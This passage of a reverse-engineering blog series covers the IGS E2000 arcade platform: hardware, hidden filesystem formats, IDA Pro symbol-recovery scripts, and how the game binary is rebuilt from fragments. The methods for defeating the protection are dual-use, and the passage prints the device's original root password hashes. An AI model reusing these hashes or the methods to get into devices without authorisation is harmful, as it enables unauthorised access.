                    print("Decode instruments failed at 0x{:X}".format(current_ea))
                    return
            else:
                print("Create instruments failed at 0x{:X}".format(current_ea))
                current_ea += 1
                continue

    print("Search finished, {} instruments created".format(found_count))

find_and_make_instrument(0x080480B4, 0x0808F000)

Since there’s no way to use a glibc signature here, I came up with a somewhat naive approach—but it’s faster than invoking MCP-based analysis.

First, fully recover glibc strings from file A (my self-compiled one) and recover function entry points. For file B, first fix function entry points, then fix immediate-value offsets, fix strings, deduplicate, remove overly short strings, then match strings one-by-one against file A and filter results.

Then traverse xrefs from the filtered results, and pick those that are not duplicated and are functions:

If those functions in file A have symbols, apply them to file B.
For functions where strings are pushed as arguments, find all calls in the current function’s scope; if the callee address has no symbol, use this method to recover symbols for argument-pushed callees.
Recursively apply symbols (e.g., after recovering a callee, scan inside it for other callees). This feels unnecessary because it quickly runs into many edge cases.

IDA Pro script: extract strings and function xrefs from target A

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import ida_funcs
import ida_name
import ida_bytes
import ida_xref
import ida_idaapi
import ida_ua
import ida_segment
import idautils
try:
    import ida_allins
    HAS_ALLINS = True
except ImportError:
    HAS_ALLINS = False

def find_target_function(xref_ea):
    insn = ida_ua.insn_t()
    if not ida_ua.decode_insn(insn, xref_ea):
        return None
    current_func = ida_funcs.get_func(xref_ea)

    search_ea = xref_ea
    
    while search_ea < current_func.end_ea:
        search_ea = ida_bytes.next_head(search_ea, ida_idaapi.BADADDR)
        if search_ea == ida_idaapi.BADADDR:
            break
            
        if not ida_ua.decode_insn(insn, search_ea):
            continue
            
        if insn.itype in [ida_allins.NN_call, ida_allins.NN_callfi, ida_allins.NN_callni]:
            target_ea = insn.ops[0].addr if insn.ops[0].type == ida_ua.o_near else None
            if target_ea:
                target_func_name = ida_name.get_name(target_ea)
                if target_func_name:
                    return target_func_name
                else:
                    func = ida_funcs.get_func(target_ea)
                    if func:
                        return ida_funcs.get_func_name(func.start_ea)
    return None

def get_string_xrefs_with_functions():
    """
    获取IDAPro中所有字符串及其交叉引用信息
    返回JSON格式数据，包含字符串地址、内容、长度和引用它的函数名
    """
    results = []

    # 初始化字符串列表
    strings = idautils.Strings()
    strings.setup()

    print("[+] 开始扫描字符串...")

    for i, string_item in enumerate(strings):
        # 获取字符串基本信息
        str_ea = string_item.ea
        str_length = string_item.length
        str_type = string_item.strtype

        # 获取字符串内容
        try:
            str_content = str(string_item)
        except:
            str_content = ""

        # 获取段信息
        seg = ida_segment.getseg(str_ea)
        if seg:
            seg_start = seg.start_ea
            seg_name = ida_segment.get_segm_name(seg)
            if not seg_name:
                seg_name = f"seg_{seg_start:08X}"
        else:
            seg_start = 0
            seg_name = "unknown"

        # 收集所有引用该字符串的地址
        xref_functions = []

        # 获取段信息
        seg = ida_segment.getseg(str_ea)
        if seg:
            seg_start = seg.start_ea
            seg_name = ida_segment.get_segm_name(seg)
            if not seg_name:
                seg_name = f"seg_{seg_start:08X}"
        else:
            seg_start = 0
            seg_name = "unknown"
        target_functions = []  # 存储目标函数名
        # 使用XrefsTo获取所有引用
        for xref in idautils.XrefsTo(str_ea):
            xref_ea = xref.frm

            # 获取引用地址所在的函数
            func = ida_funcs.get_func(xref_ea)
            if func:
                # 获取函数名
                func_name = ida_funcs.get_func_name(func.start_ea)
                if func_name and func_name not in xref_functions:
                    xref_functions.append(func_name)
                
                # 分析目标函数
                target_func = find_target_function(xref_ea)
                if target_func and target_func not in target_functions:
                    target_functions.append(target_func)
            # else:
            #     # 如果不在函数中，尝试获取该地址的名称
            #     name = ida_name.get_name(xref_ea)
            #     if name and name not in xref_functions:
            #         xref_functions.append(f"@{name}")
            #     else:
            #         # 如果没有名称，使用地址
            #         addr_name = f"addr_0x{xref_ea:X}"
            #         if addr_name not in xref_functions:
            #             xref_functions.append(addr_name)

        # 添加数据引用
        # for xref_ea in idautils.DataRefsTo(str_ea):
        #     func = ida_funcs.get_func(xref_ea)
        #     if func:
        #         func_name = ida_funcs.get_func_name(func.start_ea)
        #         if func_name and func_name not in xref_functions:
        #             xref_functions.append(func_name)
                
        #         # 分析目标函数
        #         target_func = find_target_function(xref_ea)
        #         if target_func and target_func not in target_functions:
        #             target_functions.append(target_func)
        #     else:
        #         name = ida_name.get_name(xref_ea)
        #         if name and name not in xref_functions:
        #             xref_functions.append(f"@{name}")
        #         else:
        #             addr_name = f"addr_0x{xref_ea:X}"
        #             if addr_name not in xref_functions:
        #                 xref_functions.append(addr_name)

        # 创建结果条目
        string_info = {
            "ea": str_ea,
            "str": str_content,
            "len": str_length,
            "seg_addr": seg_start,
            "seg_name": seg_name,
            "xrefs": xref_functions,
            "target_func_name": target_functions  # 新增字段
        }

        results.append(string_info)

        if (i + 1) % 100 == 0:
            print(f"[+] 已处理 {i + 1} 个字符串...")

    print(f"[+] 总共找到 {len(results)} 个字符串")
    return results


def main():
    # 获取并保存字符串信息
    strings_data = get_string_xrefs_with_functions()
    unique_data = []

    for i, string_info in enumerate(strings_data):
        duplicated = False
        if len(string_info['str']) > 10 and string_info['seg_name'] == '.rodata' and string_info['xrefs']:
            for j, string_info1 in enumerate(strings_data):
                if string_info1['str'] == string_info['str'] and string_info['ea'] != string_info1['ea']:
                    print(f"\n{i+1}. 重复内容地址: 0x{string_info['ea']:08X} 0x{string_info1['ea']:08X}  字符串: {repr(string_info1['str'])}")
                    duplicated = True
                    break
            if not duplicated:
                unique_data.append(string_info)
                
    with open("strings_with_xrefs.json", "w") as f:
        json.dump(unique_data, f, ensure_ascii=False, indent=2)
    print(f"\n[+] 分析完成! 总共发现 {len(unique_data)} 个字符串")

if __name__ == "__main__":
    main()

IDA Pro script: apply xref symbols from A to B

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import json
import ida_bytes
import ida_name
import ida_funcs
import ida_xref
import ida_kernwin
import ida_segment
import idautils
import ida_idaapi
try:
    import ida_allins
    HAS_ALLINS = True
except ImportError:
    HAS_ALLINS = False

def find_target_function(xref_ea):
    insn = ida_ua.insn_t()
    if not ida_ua.decode_insn(insn, xref_ea):
        return None
    current_func = ida_funcs.get_func(xref_ea)

    search_ea = xref_ea
    
    while search_ea < current_func.end_ea:
        search_ea = ida_bytes.next_head(search_ea, ida_idaapi.BADADDR)
        if search_ea == ida_idaapi.BADADDR:
            break
            
        if not ida_ua.decode_insn(insn, search_ea):
            continue
            
        if insn.itype in [ida_allins.NN_call, ida_allins.NN_callfi, ida_allins.NN_callni]:
            target_ea = insn.ops[0].addr if insn.ops[0].type == ida_ua.o_near else None
            if target_ea:
                target_func_name = ida_name.get_name(target_ea)
                if target_func_name:
                    return target_func_name, target_ea
                else:
                    func = ida_funcs.get_func(target_ea)
                    if func:
                        return ida_funcs.get_func_name(func.start_ea), func.start_ea
    return None, None
                    
def process_string_data(json_file_path):
    """
    从JSON文件读取字符串数据，在rodata段搜索字符串，
    跳转到第一个交叉引用的函数，并根据需要重命名函数
    
    参数:
        json_file_path: JSON文件路径
    """
    
    try:
        # 读取JSON文件
        with open(json_file_path, 'r', encoding='utf-8') as f:
            string_data_list = json.load(f)
        
        print(f"成功读取JSON文件，包含 {len(string_data_list)} 个字符串条目")
        
        # 获取.rodata段
        rodata_seg = None
        for seg in idautils.Segments():
            seg_name = ida_segment.get_segm_name(ida_segment.getseg(seg))
            if seg_name == ".rodata":
                rodata_seg = ida_segment.getseg(seg)
                break
        
        if not rodata_seg:
            print("错误：无法找到.rodata段")
            return
        
        print(f"找到.rodata段: 0x{rodata_seg.start_ea:X} - 0x{rodata_seg.end_ea:X}")
        
        # 处理每个字符串条目
        for idx, item in enumerate(string_data_list):
            # print(f"\n[{idx + 1}/{len(string_data_list)}] 处理字符串: '{item['str']}'")
            
            # 在rodata段搜索字符串
            string_to_search = item['str']
            found_ea = search_string_in_segment(string_to_search, rodata_seg)
            
            if found_ea == ida_idaapi.BADADDR:
                # print(f"  未在.rodata段找到字符串 '{string_to_search}'")
                continue
            
            # 获取字符串的交叉引用
            xrefs = get_xrefs_to_address(found_ea)
            
            if not xrefs:
                print(f"  字符串在 0x{found_ea:X} 没有交叉引用")
                continue
            
            print(f"  找到 {len(xrefs)} 个交叉引用")
            
            # 获取第一个交叉引用
            first_xref = xrefs[0]
            
            # 找到包含该交叉引用的函数
            func = ida_funcs.get_func(first_xref)
            if not func:
                print(f"  0x{first_xref:X} 不在任何函数中")
                continue

            target_func_name, target_func_ea = find_target_function(first_xref)
            if target_func_name:
                if target_func_name.startswith('sub_') and item['target_func_name']:
                    rename_function(target_func_ea, item['target_func_name'][0])
                

            func_ea = func.start_ea
            current_func_name = ida_funcs.get_func_name(func_ea)
            
            print(f"  目标函数地址: 0x{func_ea:X}")
            print(f"  当前函数名: {current_func_name}")
            
            # 检查函数是否有自定义名称
            if is_auto_generated_name(current_func_name):
                # 使用JSON中提供的xrefs第一项作为新的函数名
                if 'xrefs' in item and item['xrefs'] and len(item['xrefs']) > 0:
                    new_name = item['xrefs'][0]
                    if rename_function(func_ea, new_name):
                        print(f"  ✓ 函数重命名为: {new_name}")
                    else:
                        print(f"  ✗ 函数重命名失败")
                else:
                    print(f"  未提供xrefs信息，跳过重命名")
            else:
                print(f"  函数已有自定义名称，跳过重命名")
            
            # 跳转到函数
            ida_kernwin.jumpto(func_ea)
            print(f"  已跳转到函数 0x{func_ea:X}")
        
        print(f"\n处理完成！共处理了 {len(string_data_list)} 个字符串条目")
    
    except FileNotFoundError:
        print(f"错误：无法找到文件 {json_file_path}")
    except json.JSONDecodeError as e:
        print(f"错误：JSON文件格式错误 - {e}")
    except Exception as e:
        print(f"错误：处理过程中出现异常 - {e}")

def search_string_in_segment(target_string, segment):
    """
    在指定段中搜索字符串
    
    参数:
        target_string: 要搜索的字符串
        segment: 目标段
    
    返回:
        找到的地址，如果未找到则返回BADADDR
    """
    start_ea = segment.start_ea
    end_ea = segment.end_ea
    
    # 尝试搜索字符串
    found_ea = ida_bytes.find_string(
        target_string,
        start_ea,
        range_end=end_ea,
        flags=ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_NOSHOW
    )
    
    # 如果在段范围内找到，返回地址
    if found_ea != ida_idaapi.BADADDR and start_ea <= found_ea < end_ea:
        return found_ea
    
    return ida_idaapi.BADADDR

def get_xrefs_to_address(ea):
    """
    获取指向指定地址的所有交叉引用
    
    参数:
        ea: 目标地址
    
    返回:
        交叉引用地址列表
    """
    xrefs = []
    
    # 获取数据引用
    for xref in idautils.DataRefsTo(ea):
        xrefs.append(xref)
    
    # 获取代码引用
    for xref in idautils.CodeRefsTo(ea, 0):
        xrefs.append(xref)
    
    return xrefs

def is_auto_generated_name(func_name):
    """
    检查函数名是否为自动生成的名称
    
    参数:
        func_name: 函数名
    
    返回:
        True 如果是自动生成的名称，False 否则
    """
    # IDA自动生成的函数名通常以sub_、loc_、unk_等开头
    auto_prefixes = ['sub_', 'loc_', 'unk_', 'nullsub_', 'j_']
    
    for prefix in auto_prefixes:
        if func_name.startswith(prefix):
            return True
    
    return False

def rename_function(func_ea, new_name):
    """
    重命名函数
    
    参数:
        func_ea: 函数地址
        new_name: 新函数名
    
    返回:
        True 如果重命名成功，False 否则
    """
    try:
        # 使用ida_name.set_name设置函数名
        result = ida_name.set_name(func_ea, new_name, ida_name.SN_CHECK)
        return result
    except Exception as e:
        print(f"重命名函数时出错: {e}")
        return False

def main():
    """
    主函数 - 提示用户选择JSON文件并开始处理
    """
    # 获取JSON文件路径
    json_file = ida_kernwin.ask_file(0, "*.json", "选择包含字符串数据的JSON文件")
    
    if json_file:
        print(f"开始处理文件: {json_file}")
        process_string_data(json_file)
    else:
        print("未选择文件，操作取消")

if __name__ == "__main__":
    main()

These scripts are still rough and need polishing, but they’re “good enough” for now. And they might not even matter much: after these fixes, it becomes obvious that these ELF files aren’t based on a modified glibc—they’re just statically linked. They all use __libc_start_main to enter main.

Fixing `GECA` and `rc0.d`

Read 0x400 bytes from /dev/hdc1 at offset 0x1B44 * 512. This is an ELF header, and it’s written into /mnt/head.

IGS likely hid this ELF header in unused space inside the FAT partition. Because the partitions are contiguous, you can’t easily spot hidden content from the partition layout alone.

Read 0x400 bytes from the end of /bin/arch and write it to /mnt/GECA.

Then append /etc/init.d/rc0.d to the end of /mnt/GECA.

Recovering Game Files

Before I started my analysis, Nova shared findings from BatteryShark. BatteryShark had already reconstructed the ELF for Speed Driver 2, but the ELF still had issues and couldn’t be used for other games such as Percussion Master 2008.

IGS Dump EXEC

So I still had to do it myself, and I also wanted to reverse the code that reconstructs the game files anyway.

During kernel boot, after GECA is repaired by zsh, it is immediately executed with the same environment variables and arguments.

The concatenation order of rc* is configured by a string variable, and it differs per game.

These digits correspond exactly to the file order under /etc/rc.d:

2 1 3 5 8 4 7 6 9

GECA’s execution flow: it cuts fragments under /etc/rc.d according to the specified order (with different cut sizes), and writes the outputs to /mnt.

dd if=/etc/rc.d/rc2.d of=/mnt/rc2 bs=1K count=[file_size / 1024 - 400] &> /dev/null
dd if=/etc/rc.d/rc1.d of=/mnt/rc1 bs=1K count=[file_size / 1024 - 400 + 7] &> /dev/null
dd if=/etc/rc.d/rc3.d of=/mnt/rc3 bs=1K count=[file_size / 1024 - 400 + 14] &> /dev/null
dd if=/etc/rc.d/rc5.d of=/mnt/rc5 bs=1K count=[file_size / 1024 - 400 + 21] &> /dev/null
dd if=/etc/rc.d/rc8.d of=/mnt/rc8 bs=1K count=[file_size / 1024 - 400 + 28] &> /dev/null
dd if=/etc/rc.d/rc4.d of=/mnt/rc4 bs=1K count=[file_size / 1024 - 400 + 35] &> /dev/null
dd if=/etc/rc.d/rc7.d of=/mnt/rc7 bs=1K count=[file_size / 1024 - 400 + 42] &> /dev/null
dd if=/etc/rc.d/rc6.d of=/mnt/rc6 bs=1K count=[file_size / 1024 - 400 + 49] &> /dev/null
dd if=/etc/rc.d/rc9.d of=/mnt/rc9 bs=1 count=[file_size - 400 * 1024] &> /dev/null

Then it mounts a ramfs at /exec, concatenates these files into the real game binary, and replaces the original disk-destruction executable.

After that, the boot process matches what we saw earlier in /etc/X11/IGS.

mount -n -t ramfs GameExecution /exec &> /dev/null
cat /mnt/head /mnt/rc2 /mnt/rc1 /mnt/rc3 /mnt/rc5 /mnt/rc8 /mnt/rc4 /mnt/rc7 /mnt/rc6 /mnt/rc9 > /exec/PM2008v2 && chmod 777 /exec/PM2008v2 &> /dev/null

# 删除临时文件
umount /mnt &>/dev/null
rm -rf /mnt &>/dev/null

You can write a script to replicate this process:

#!/usr/bin/env python3

import os
import argparse

def main():
    parser = argparse.ArgumentParser(description='Recover game from IGS E2000 platform')
    parser.add_argument('head_file', type=str, help='head file to read')
    parser.add_argument('rc_dir', type=str, help='game parts dir to read')
    parser.add_argument('game_file', type=str, help='game file to write')
    args = parser.parse_args()

    rc_order = "213584769"
    rc_order_len = len(rc_order)
    block_num = 400
    ignore_count = 7
    step_type = 2

    head = open(args.head_file, 'rb').read()
    with open(args.game_file, 'wb') as game_fd:
        game_fd.write(head)
        for i in range(rc_order_len):
            rc_file_path = os.path.join(args.rc_dir, f"rc{rc_order[i]}.d")
            rc_data = open(rc_file_path, 'rb').read()
            rc_data_size = len(rc_data)
            write_size = rc_data_size - block_num * 1024
            print(f"rc{rc_order[i]}.d size: 0x{rc_data_size:08X}, write 0x{write_size:08X} bytes to game file, write block {int(write_size/1024)} skip block_num: {block_num}")

            # head = head + rc_data[0:write_size]

            if step_type == 2:
                block_num -= ignore_count
            else:
                block_num += ignore_count
            game_fd.write(rc_data[0:write_size])

if __name__ == "__main__":
    main()

(base) ➜ python ./recover_game.py ./head.img ./part2/etc/rc.d ./pm2008_game
rc2.d size: 0x00080000, write 0x0001C000 bytes to game file, write block 112 skip block_num: 400
rc1.d size: 0x00080000, write 0x0001DC00 bytes to game file, write block 119 skip block_num: 393
rc3.d size: 0x00080000, write 0x0001F800 bytes to game file, write block 126 skip block_num: 386
rc5.d size: 0x00080000, write 0x00021400 bytes to game file, write block 133 skip block_num: 379
rc8.d size: 0x00080000, write 0x00023000 bytes to game file, write block 140 skip block_num: 372
rc4.d size: 0x00080000, write 0x00024C00 bytes to game file, write block 147 skip block_num: 365
rc7.d size: 0x00080000, write 0x00026800 bytes to game file, write block 154 skip block_num: 358
rc6.d size: 0x00080000, write 0x00028400 bytes to game file, write block 161 skip block_num: 351
rc9.d size: 0x003CA6D8, write 0x003746D8 bytes to game file, write block 3537 skip block_num: 344

After recovery, although we avoid multi-version glibc fingerprints, the ELF might still have issues. Each game’s main binary recovery algorithm differs slightly. PM2008’s recovery logic takes two more parameters than SD2, so I’ll focus on PM2008 first.

I still need to do dynamic analysis to understand how the in-memory ELF is loaded. But I’ve noticed that plugging in an Ethernet cable or a keyboard causes the cabinet to crash immediately—no idea whether that’s a protection mechanism. In the next post, I’ll analyze how to do dynamic debugging on the device.

IGS Arcade Reverse Engineering Series (1) - E2000 Platform Analysis

Sat, 17 May 2025 22:34:31 +0800

Preface

2010 was the golden era of arcades. As mobile devices and home consoles became widespread, the arcade industry gradually declined. Although some policies were introduced domestically to encourage the amusement gaming equipment industry, the sector has long been out of favor with investors. The 2020 pandemic dealt an even heavier blow to the arcade business.

Back then, 100 RMB might only buy 50 credits; now 100 RMB can buy 200 credits.

I like racing games. Wangan Midnight, Initial D, and Speed Driver have been the hottest games in arcades in recent years, because they have accounts and thus a social component. Some time ago, when I was cracking the player app for Speed Driver 5, I learned that IGS (International Games System) is the company behind the Knights of Valour arcade game I played as a kid and Journey to the West. IGS’s anti-cracking is top-tier across the entire industry, and the Speed Driver series is even known as “uncrackable.”

Last month, the “Super Player” arcade near my home shut down. I felt that sooner or later the Speed Driver series might disappear, so I decided to challenge myself to crack it.

The release order of the IGS Speed Driver series is as follows:

Game	Device Model	Year
Speed Driver: Evolution		2004
Speed Driver 2	E2000	2007
Speed Driver 3	E3000, E3100	2010
Speed Driver 4	E3000, E3100, S3000	2013
Speed Driver 5	S3000	2019

I planned to start with the E2000 platform. The difficulty should definitely be lower than PGM (PolyGame Master) because it’s PC-based: there’s no need to emulate a sound card or GPU. The hardware has almost no physical protection, the CPU ISA is x86, the OS is Linux, there’s no anti-debugging, and no VMP—this is basically a tutorial level.

In Asia, the Speed Driver series has influence comparable to Wangan Midnight, Initial D, and Storm Racer G (all of which have been cracked). IGS’s anti-cracking is the most successful: throughout the entire product lifecycle, it was never cracked.

Hardware analysis

In Arcade-docs, you can look up the hardware information of each device and the games it supports. Leveraging my “skill” at scavenging e-waste, I managed to get an E2000 host. There are quite a few enthusiasts abroad buying them too, so the price has gone up.

External interface analysis

On the front there are two RS-485 ports, and the CF card can be removed externally.

Back-side ports, with the very “millennium PC” vibe:

12V DC
2 x DB9 COM
4 x USB 2.0
RJ45 LAN
3.5mm Audio Out
25pin + 30pin I/O connector

Mainboard analysis

Given that cracking this doesn’t seem hard, I’m not going to analyze the other components whose silkscreen is covered by stickers—it’s too annoying.

The host I bought came with the game Percussion Master 2008 installed, but Speed Driver 2 also runs.

Mainboard model: I-JOIN E2000-V256 IH-02 (Advantech)
A - CPU: Celeron M 370 (1.5 GHz)
B - Northbridge: unknown
C - GPU: NVIDIA GeForce 6200 (256 MB, GDDR2)
D - 2 x DDR 333 256MB
E - Chipset: Intel 852GME (ICH4-M)
F - PCI9030, a GPIO chip, likely used for transmitting controller signals.
G - I/O controller with an LPC interface
H - A11 BIOS chip SST 49LF004B (PLCC32)
I - IH-C02 ALTERA EPM3032ALC44-10N CPLD (PLCC44), controller; contains ROM, purpose unknown
J - IGS EV29LV640-90PCR 8MB EEPROM, DIP 48-pin package, an IGS custom chip. This chip has a label with the game name on it, suggesting the BIOS ROM is also game-related. There may be content related to the V21 chip.
K - V21, IGS036E, maybe an FPGA or ASIC used to encrypt/process the input/output of control signals
L - 64K x 16 HIGH-SPEED CMOS STATIC RAM x3
M - CF card: ADATA 2GB (266X)
N - IDE HDD connector

I have many ways to get a root shell on the hardware, but I’m more interested in the game loading process. So let’s start with software reverse engineering.

I/O board analysis

These boards are also called control boards. They should be used to connect game controllers such as the steering wheel, brake/throttle, coin acceptor, etc.

They communicate via the 25pin + 30pin I/O connector to the mainboard.

The price may even be higher than the host itself.

In theory, you could use a logic analyzer to capture these sensor signals and then implement control functionality. But I’ve heard the control signals are handled by the V21 chip (ASIC) and may be encrypted. I also don’t plan to clone a control board. These arcade racing games aren’t as fun as Forza Horizon 5. Arcades are cheap these days—if you really want to play, just pay to play at an arcade, or buy a steering wheel setup and play at home.

Filesystem analysis

Dump the CF card directly. The file size is 2GB. The file command output is:

DOS/MBR boot sector, LInux i386 boot LOader; partition 1 : ID=0x1, active, start-CHS (0x0,1,1), end-CHS (0x2,63,63), startsector 63, 12033 sectors; partition 2 : ID=0x83, start-CHS (0x3,0,1), end-CHS (0x22,63,63), startsector 12096, 129024 sectors; partition 3 : ID=0x83, start-CHS (0x62,0,1), end-CHS (0x399,63,63), startsector 395136, 3322368 sectors; partition 4 : ID=0x83, start-CHS (0x23,0,1), end-CHS (0x61,63,63), startsector 141120, 254016 sectors

Boot process: LILO is used as the MBR, installed directly in the first sector to boot Linux.

+----------------------------------------+
| Master Boot Record    Operating system |
|----------------------------------------|
| LILO ---------------> Linux            |
|                  ---> other OS         |
+----------------------------------------+

View the partition information via fdisk. This is a Linux OS with four partitions, contiguous from start to end. Everything after the last partition is 0x00, so there is no hidden partition.

Disk ./percussion_master_2008.img: 1.77 GiB, 1903878144 bytes, 3718512 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x6e4a3fef

Device                        Boot  Start     End Sectors  Size Id Type
./percussion_master_2008.img1 *        63   12095   12033  5.9M  1 FAT12
./percussion_master_2008.img2       12096  141119  129024   63M 83 Linux
./percussion_master_2008.img3      395136 3717503 3322368  1.6G 83 Linux
./percussion_master_2008.img4      141120  395135  254016  124M 83 Linux

One notable trait of the E2000 platform layout is that partition 3 and partition 4 are in “reverse” order.

Partition 2 and partition 4 cannot be fully extracted by 7z. binwalk can identify some compressed regions, so it is very likely a heavily modified filesystem.

The purpose of each partition is as follows (later I found the original filesystem types for partitions 2 and 4):

Partition 1: Ext2, Bootloader, kernel
Partition 2: IGS CRAMFS, RootFS
Partition 3: Ext3, Log Data
Partition 4: IGS SquashFS, Game Data

Kernel reversing

So far I have not found the rootfs or the game executable; they are most likely located in partition 2 and partition 4. I think reversing the kernel can save a lot of detours. Without relying on the kernel, you could also directly reverse the filesystem format from the raw data, but that’s boring. And whatever extractor you end up writing won’t beat open-source filesystem unpacking tools anyway. First, look at partition 1: it contains a loader and a kernel. The kernel version is shown, but it may not be the correct one.

SD2:        LILO (LInux LOder)
SD2-OS-61P: Linux kernel x86 boot executable, bzImage, version 2.4.31-IGS_V0.5a (james@Code_Server.linnet.net.tw) #1 Thu Aug 30 19:06:24 CST 2007, RO-rootFS, root_dev 0X305, Normal VGA, setup size 512*6, syssize 0x3b88, jump 0x230 0xe800040000000000 instruction, protocol 2.3

LILO has been customized by IGS. It shows “IGS Loader v2.0 Boot Menu 2007/04”, which indicates the base version is lilo-22.8.

There’s nothing interesting to analyze here. Start extracting vmlinux. The kernel file is in bzImage format and needs to be decompressed.

7z x ./SD2-OS-61P -okernel.decomped

Next is standard kernel reversing. The first step is to determine the image base. There are many ways to do that; you can refer to my other posts.

Here, after looking twice, you can basically guess it: 0xC0100000.

With the base configured correctly, IDA can automatically identify some xrefs; the rest needs manual recovery. IDA 9.0 changed some APIs, so I had to rewrite some scripts again.

import ida_bytes
import ida_segment
import ida_funcs
import ida_ida

def find_and_make_function(start_ea, end_ea, pattern_str):
    image_base = idaapi.get_imagebase()
    pattern = ida_bytes.compiled_binpat_vec_t()
    err = ida_bytes.parse_binpat_str(pattern, image_base, pattern_str, 16)
    if err:
        return
    
    current_ea = start_ea
    found_count = 0
    
    while current_ea < end_ea:
        current_ea, index = ida_bytes.bin_search(
            current_ea,
            end_ea,
            pattern,
            ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_NOSHOW)
        
        if current_ea == ida_idaapi.BADADDR:
            break
            
        if current_ea % 4 != 0:
            current_ea += 1
            continue
            
        if ida_bytes.get_flags(current_ea) & ida_bytes.FF_CODE:
            if idc.get_func_flags(current_ea) != -1:
                current_ea += 1
                continue
            
        seg = ida_segment.getseg(current_ea)
        if not seg:
            current_ea += 1
            continue
            
        if not ida_funcs.add_func(current_ea):
            print("Create function failed at 0x{:X}".format(current_ea))
        else:
            found_count += 1
            
        current_ea += 4
    
    print("Search finished, {} functions created".format(found_count))


find_and_make_function(0xC0100000, 0xC0508000, "55 89 E5")

# You can define function entry opcodes based on your case

Of course, even at this point, not all xrefs are fully recognized. In the data segment, some strings and offsets are not recovered well either, but it doesn’t matter much. If you’re completely stuck, recovering those bits may lead to new discoveries.

Next is to find an entry point for analysis. There’s honestly not much technical content here—I have many approaches, for example starting from filesystem characteristics. But writing everything out would be pedantic and unnecessary.

We can confirm the kernel version is 2.4.31, and the IGS version is v1.0, not v0.5 as shown by the bzImage banner.

From the following strings, we can determine which upstream filesystem versions correspond to IGS’s modified filesystems:

rofs: cramfs
shfs: squashfs 2.2

Linux 2.4.31 does not include squashfs. So I directly looked for a squashfs patch. IGS’s modified SHFS is based on squashfs 2.2. https://master.dl.sourceforge.net/project/squashfs/OldFiles/squashfs2.2r2.tar.gz

Linux 2.4 doesn’t support kallsyms, so symbols need to be recovered manually. Some functions like printf, memcpy, str* can be recognized quickly by eye, but I wanted to analyze the system boot process, so I needed to recover some kernel-specific symbols.

For such old devices, cross-compiling on a modern Linux is not feasible. I installed a 32-bit CentOS 5.10 VM, built it successfully, and extracted System.map and vmlinux, making it easier to compare what parts were modified by IGS.

For firmware where you can’t find a ramdisk or rootfs, the first step is definitely to locate sys_mount and the boot parameters in the kernel.

root=/dev/hdc2 ro console=ttyS1,115200
sys_mount("/dev/hdc3", "/PM2008v2", "shfs", flag, data)
sys_mount("/dev/hdc4", "/PM2008v2/pm2_data", "ext3", flag, data)

From this, we can determine the rootfs should be partition 2, and the game data is in partition 3.

The logic for mounting the ramdisk is located here:

prepare_namespace
  ->rd_load_disk
     ->rd_load_image
       ->identify_ramdisk_image

Here we can confirm IGS supports ramdisks in squashfs and IGS ROFS formats, and we can also identify their magic numbers.

I won’t record the full analysis process. They modified the FS header, which makes the analysis somewhat nasty 🤢.

Extracting the filesystem

I analyzed the headers of three custom filesystems on the E2000 platform; the contents are as follows.

IGS SHFS V1 Header

struct squashfs_super_block_22_v1 {
    unsigned int        s_magic;    // 0xD4AA2682
    unsigned int        block_size_1:16;
    unsigned int        block_log:16;
    unsigned int        major_number;
    unsigned int        minor_number;
    unsigned int        inodes;
    unsigned int        bytes_used;
    unsigned int        uid_start;
    unsigned int        guid_start;
    unsigned int        inode_table_start;
    unsigned int        directory_table_start;
    unsigned int        flags:8;
    unsigned int        no_uids:8;
    unsigned int        no_guids:8;
    int                 mkfs_time /* time of filesystem creation */;
    squashfs_inode      root_inode;
    unsigned int        block_size;
    unsigned int        fragments;
    unsigned int        fragment_table_start;
} __attribute__ ((packed));

IGS SHFS V2 Header

Using Percussion Master 2008 as an example:

struct squashfs_super_block_22_v2 {
    unsigned int        s_magic;   // 0xD4AA2682
    char                igs_info[64];   // banner
    unsigned int        block_size_1:16;
    unsigned int        block_log:16;
    unsigned int        igs_fs_version_major;  // 59 17 23 96
    unsigned int        igs_fs_version_minor;  // E1 5D 70 00
    unsigned int        major_number;      // 31 64 52 E5
    unsigned int        minor_number;      // 92 2C 03 68
    unsigned int        inodes;
    unsigned int        bytes_used;
    unsigned int        uid_start;
    unsigned int        guid_start;
    unsigned int        inode_table_start;
    unsigned int        directory_table_start;
    unsigned int        flags:8;
    unsigned int        no_uids:8;
    unsigned int        no_guids:8;
    int                 mkfs_time /* time of filesystem creation */;
    squashfs_inode      root_inode;
    unsigned int        block_size;
    unsigned int        fragments;
    unsigned int        fragment_table_start;
} __attribute__ ((packed));

IGS ROFS V1 Header

struct cramfs_inode {
    unsigned int inode_magic;       
    unsigned int namelen:6, offset:26;
	unsigned int size:24, gid:8;
	unsigned int mode:16, uid:16;
};

struct cramfs_info {
	unsigned int crc;
	unsigned int edition;
	unsigned int blocks;
	unsigned int files;
};

struct igs_rofs_super_block {
	unsigned int magic1;   // 0x81006e6a
	unsigned int future;	
    char igs_info[64];
	unsigned int size;	
	unsigned int magic2;   // 0xD4AA2682
	unsigned int flags;	
	unsigned int padding;	
	cramfs_info fsid;
	char name[64];	
	cramfs_inode root[2];
};

igs_rofs_super_block File;

By porting the headers above into cramfs-tools and squashfs-tools, you can extract the filesystem perfectly, and you can also detect whether files are corrupted. I have uploaded the code to GitHub: https://github.com/gorgiaxx/igs-toolkits

This version is not hard to extract, but the next version (E3000) introduces encryption.

Player @novacosmic00 previously asked me to help extract files for GoGoBall. He said he had already decrypted files from other games, but GoGoBall was the only one he couldn’t decrypt. I tried extracting with my modified tools and found the file CRC was wrong, but most files could still be extracted.

After I finished extracting the firmware and talked with @novacosmic00, I learned that someone had researched this two years ago and wrote extraction scripts.

https://github.com/batteryshark/igstools/tree/main/scripts

The author may have inferred the structs by analyzing filesystem contents and reverse-engineering address patterns. That’s also a valid approach, but the downside is that extracted files can be messy, and you can’t detect CRC errors.

shadow-

The shadow file clears the root password by default.

root:x:13130:0:99999:7:::   
test::13074:0:99999:7:::

This is the original file:

root:$1$qAw/5vcb$x9rPCAwLMdRBQXwlq1zG70:13130:0:99999:7:::
test:$1$JjP1oLAJ$xilZIedv3S3jbs8oTZAad1:13074:0:99999:7:::

Anti-cracking

